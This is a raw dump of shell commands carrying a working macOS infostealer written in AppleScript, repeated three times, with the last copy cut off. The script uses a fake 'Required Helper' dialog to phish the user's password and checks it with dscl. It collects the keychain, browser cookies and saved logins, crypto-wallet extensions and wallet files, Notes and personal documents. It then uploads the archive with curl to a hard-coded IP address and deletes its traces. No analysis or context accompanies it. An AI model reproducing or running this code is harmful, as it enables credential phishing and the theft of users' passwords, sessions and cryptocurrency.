sh -c "sudo /bin/zsh -c \"/Users/run/Application/AppleApp\""

sh -c "sudo /bin/zsh -c \"/Users/run/Application/AppleApp\""

sudo /bin/zsh -c /Users/run/Application/AppleApp

sh -c "osascript -e 'tell application \"Terminal\" to close first window'& exit"

sh -c "osascript -e 'tell application \"Terminal\" to close first window'& exit"

sh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)'"

sh -c "osascript -e 'on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to \"a4bc4563-e0b3-4ad4-a698-3f03cd415bef\" set profile to \"/Users/\" & username set writemind to \"/var/tmp/xuyna/\" set library to profile & \"/Library/Application Support/\" set chromiumMap to {{\"Chrome\", library & \"Google/Chrome/\"},{\"Brave\", library & \"BraveSoftware/Brave-Browser/\"},{\"Edge\", library & \"Microsoft Edge/\"},{\"Vivaldi\", library & \"Vivaldi/\"},{\"Opera\", library & \"com.operasoftware.Opera/\"},{\"OperaGX\", library & \"com.operasoftware.OperaGX/\"}} set walletMap to {{\"deskwallets/Electrum\", profile & \"/.electrum/wallets/\"},{\"deskwallets/Coinomi\", library & \"Coinomi/wallets/\"},{\"deskwallets/Exodus\", library & \"Exodus/\"},{\"deskwallets/Atomic\", library & \"atomic/Local Storage/leveldb/\"}} set firefox to library & \"Firefox/Profiles/\" getpwd(username, writemind) readwrite(library & \"Binance/app-store.json\", writemind & \"deskwallets/Binance/app-store.json\") readwrite(profile & \"/Library/Keychains/login.keychain-db\", writemind &\"keychain\") writeText(username, writemind &\"username\") parseFF(firefox, writemind) chromium(writemind, chromiumMap) userinfo(writemind) deskwallets(writemind, walletMap) filegrabber() send_data(writemind,uuid,userme)'"

osascript -e "on mkdir(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) do shell script \"mkdir -p \" & filePosixPath end try end mkdir on FileName(filePath) try set reversedPath to (reverse of every character of filePath) as string set trimmedPath to text 1 thru ((offset of \"/\" in reversedPath) - 1) of reversedPath set finalPath to (reverse of every character of trimmedPath) as string return finalPath end try end FileName on BeforeFileName(filePath) try set lastSlash to offset of \"/\" in (reverse of every character of filePath) as string set trimmedPath to text 1 thru -(lastSlash + 1) of filePath return trimmedPath end try end BeforeFileName on writeText(textToWrite, filePath) try set folderPath to BeforeFileName(filePath) mkdir(folderPath) set fileRef to (open for access filePath with write permission) write textToWrite to fileRef starting at eof close access fileRef end try end writeText on readwrite(path_to_file, path_as_save) try set folderPath to BeforeFileName(path_as_save) set fileContent to read path_to_file mkdir(folderPath) set fileRef to (open for access path_as_save with write permission) write fileContent to fileRef starting at eof close access fileRef end try end readwrite on isDirectory(someItem) try set filePosixPath to quoted form of (POSIX path of someItem) set fileType to (do shell script \"file -b \" & filePosixPath) if fileType ends with \"directory\" then return true end if return false end try end isDirectory on GrabFolder(sourceFolder, destinationFolder) try set exceptionsList to {\".DS_Store\", \"Partitions\", \"Code Cache\", \"Cache\", \"market-history-cache.json\"} set fileList to list folder sourceFolder without invisibles mkdir(destinationFolder) repeat with currentItem in fileList if currentItem is not in exceptionsList then set itemPath to sourceFolder & \"/\" & currentItem set savePath to destinationFolder & \"/\" & currentItem if isDirectory(itemPath) then GrabFolder(itemPath, savePath) else readwrite(itemPath, savePath) end if end if end repeat end try end GrabFolder on parseFF(firefox, writemind) try set myFiles to {\"/cookies.sqlite\", \"/formhistory.sqlite\", \"/key4.db\", \"/logins.json\"} set fileList to list folder firefox without invisibles repeat with currentItem in fileList set fpath to writemind & \"ff/\" & currentItem set readpath to firefox & currentItem repeat with FFile in myFiles readwrite(readpath & FFile, fpath & FFile) end repeat end repeat end try end parseFF on checkvalid(username, password_entered) try set result to do shell script \"dscl . authonly \" & quoted form of username & space & quoted form of password_entered if result is not equal to \"\" then return false else return true end if on error return false end try end checkvalid on getpwd(username, writemind) repeat try set result to display dialog \"Required Helper. Please enter password for \" & username & \".\" default answer \"\" with icon caution buttons {\"Continue\"} default button \"Continue\" giving up after 150 with title \"Application wants to install helper\" with hidden answer set password_entered to text returned of result if checkvalid(username, password_entered) then writeText(password_entered, writemind & \"pwd\") exit repeat end if end try end repeat end getpwd on grabPlugins(paths, savepath, pluginList) try set fileList to list folder paths without invisibles repeat with PFile in fileList if (pluginList contains PFile) then set newpath to paths & PFile set newsavepath to savepath & \"/\" & PFile GrabFolder(newpath, newsavepath) end if end repeat end try end grabPlugins on chromium(writemind,chromium_map) set pluginList to {\"ffnbelfdoeiohenkjibnmadjiehjhajb\",\"nlbmnnijcnlegkjjpcfjclmcfggfefdm\",\"nhnkbkgjikgcigadomkphalanndcapjk\",\"cgeeodpfagjceefieflmdfphplkenlfk\",\"cjmkndjhnagcfbpiemnkdpomccnjblmj\",\"cphhlgmgameodnhkjdmkpanlelnlohao\",\"dmkamcknogkgcdfhhbddcghachkejeap\",\"fnnegphlobjdpkhecapkijjdkgcjhkib\",\"acmacodkjbdgmoleebolmdjonilkdbch\",\"kncchdigobghenbbaddojjnnaogfppfj\",\"egjidjbpglichdcondbcbdnbeeppgdph\",\"hpglfhgfnhbgpjdenjgmdgoeiappafln\",\"cjelfplplebdjjenllpjcblmjkfcffne\",\"amkmjjmmflddogmhpjloimipbofnfjih\",\"fnjhmkhhmkbjkkabndcnnogagogbneec\",\"nphplpgoakhhjchkkhmiggakijnkhfnd\",\"pnndplcbkakcplkjnolgbkdgjikjednm\",\"flpiciilemghbmfalicajoolhkkenfel\",\"dkdedlpgdmmkkfjabffeganieamfklkm\",\"pdadjkfkgcafgbceimcpbkalnfnepbnk\",\"ppdadbejkmjnefldpcdjhnkpbjkikoip\",\"cnmamaachppnkjgnildpdmkaakejnhae\",\"opcgpfmipidbgpenhmajoajpbobppdil\",\"fhilaheimglignddkjgofkcbgekhenbh\",\"dhgnlgphgchebgoemcjekedjjbifijid\",\"nknhiehlklippafakaeklbeglecifhad\",\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\",\"loinekcabhlmhjjbocijdoimmejangoa\",\"pocmplpaccanhmnllbbkpgfliimjljgo\",\"afbcbjpbpfadlkmhmclhkeeodmamcflc\",\"cihmoadaighcejopammfbmddcmdekcje\",\"aeachknmefphepccionboohckonoeemg\",\"dlcobpjiigpikoobohmabehhmhfoodbb\",\"fhbohimaelbohpjbbldcngcnapndodjp\",\"imloifkgjagghnncjkhggdhalmcnfklk\",\"efbglgofoippbgcjepnhiblaibcnclgk\",\"ejjladinnckdgjemekebdpeokbikhfci\",\"nkbihfbeogaeaoehlefnkodbefgpgknn\",\"bocpokimicclpaiekenaeelehdjllofo\",\"hnhobjmcibchnmglfbldbfabcgaknlkj\",\"ibnejdfjmmkpcnlpebklmnkoeoihofec\",\"kpfopkelmapcoipemfendmdcghnegimn\",\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\",\"lodccjjbdhfakaekdiahmedfbieldgik\",\"ppbibelpcjmhbdihakflkdcoccbgbkpo\",\"jnlgamecbpmbajjfhmmmlhejkemejdma\",\"mfhbebgoclkghebffdldpobeajmbecfk\",\"apnehcjmnengpnmccpaibjmhhoadaico\",\"cmndjbecilbocjfkibfbifhngkdmjgog\",\"hcflpincpppdclinealmandijcmnkbgn\",\"klnaejjgbibmhlephnhpmaofohgkpgkd\",\"copjnifcecdedocejpaapepagaodgpbh\",\"jojhfeoedkpkglbfimdfabpdfjaoolaf\",\"bfnaelmomeimhlpmgjnjophhpkkoljpa\",\"ebfidpplhabeedpnhjnobghokpiioolj\",\"aiifbnbfobpmeekipheeijimdpnlpgpp\",\"mnfifefkajgofkcjkemidiaecocnkjeh\",\"bcopgchhojmggmffilplmbdicgaihlkp\",\"ojggmchlghnjlapmfbnjholfjkiidbch\",\"hnfanknocfeofbddgcijnmhnfnkdnaad\",\"ookjlbkiijinhpmnjffcofjonbfbgaoc\",\"aholpfdialjgjfhomihkjbmgjidlcdno\",\"hifafgmccdpekplomjjkcfgodnhcellj\",\"phkbamefinggmakgklpkljjmgibohnba\"} set chromiumFiles to {\"/Network/Cookies\", \"/Cookies\", \"/Web Data\", \"/Login Data\", \"/Local Extension Settings/\"} repeat with Chromium in chromium_map set savepath to writemind & \"Chromium/\" & item 1 of Chromium & \"_\" try set fileList to list folder item 2 of Chromium without invisibles repeat with currentItem in fileList if ((currentItem as string) is equal to \"Default\") or ((currentItem as string) contains \"Profile\") then repeat with CFile in chromiumFiles set readpath to (item 2 of Chromium & currentItem & CFile) if ((CFile as string) is equal to \"/Network/Cookies\") then set CFile to \"/Cookies\" end if if ((CFile as string) is equal to \"/Local Extension Settings/\") then grabPlugins(readpath,savepath & currentItem,pluginList) else set writepath to savepath & currentItem & CFile readwrite(readpath, writepath) end if end repeat end if end repeat end try end repeat end chromium on userinfo(writemind) try set result to (do shell script \"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\") writeText(result, writemind & \"userinfo\") end try end userinfo on deskwallets(writemind, deskwals) repeat with deskwal in deskwals try GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal) end try end repeat end deskwallets on filegrabber() try set destinationFolderPath to POSIX file \"/var/tmp/xuyna/FileGrabber/\" mkdir(destinationFolderPath) set extensionsList to {\"txt\", \"rtf\", \"key\", \"keys\", \"png\", \"jpg\", \"jpeg\", \"wallet\", \"doc\", \"docx\"} set bankSize to 0 tell application \"Finder\" set username to short user name of (system info) try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try set notesFolderPath to (path to home folder as text) & \"Library:Group Containers:group.com.apple.notes:\" try set notesFolder to folder notesFolderPath set notesFiles to {file \"NoteStore.sqlite\", file \"NoteStore.sqlite-shm\", file \"NoteStore.sqlite-wal\"} of notesFolder repeat with aFile in notesFiles try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try end repeat end try set desktopFiles to every file of desktop set documentsFiles to every file of folder \"Documents\" of (path to home folder) repeat with aFile in (desktopFiles & documentsFiles) set fileExtension to name extension of aFile if fileExtension is in extensionsList then set fileSize to size of aFile if (bankSize + fileSize) < 10 * 1024 * 1024 then try duplicate aFile to folder destinationFolderPath with replacing set bankSize to bankSize + fileSize end try else exit repeat end if end if end repeat end try end tell end try end filegrabber on send_data(writemind,uuid, userme) do shell script \"ditto -c -k --sequesterRsrc \" & writemind & \" /var/tmp/out.zip\" do shell script (\"curl -X POST -H \\\"uuid: \" & uuid & \"\\\" -H \\\"user: \" & userme & \"\\\" --data-binary @/var/tmp/out.zip http://185.172.128.123/p2p\") do shell script \"rm -r \" & writemind do shell script \"rm /var/tmp/out.zip\" end send_data set username to (system attribute \"USER\") set userme to \"october\" set uuid to 